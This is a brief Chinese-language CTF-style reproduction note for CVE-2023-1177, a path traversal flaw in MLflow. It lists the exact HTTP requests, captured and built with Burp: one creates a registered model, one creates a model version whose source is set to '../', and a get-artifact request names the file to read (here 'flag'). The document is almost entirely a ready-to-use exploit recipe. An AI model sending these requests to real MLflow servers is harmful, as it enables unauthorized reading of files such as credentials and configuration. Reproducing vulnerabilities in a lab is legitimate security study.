CVE-2023-1177复现
进入网站
使用bp抓包，构造poc
POST /ajax-api/2.0/mlflow/registered-models/create
Content-Type: application/json{"name": "testfile"}
构造要查看的文件的poc
POST /ajax-api/2.0/mlflow/model-versions/create
Content-Type: application/json{"name": "testfile", "source": "../"}
查看flag/model-versions/get-artifact?path=flag&name=testfile&version=1
其中path就是你要查看的文件，name就是你构造的文件路径
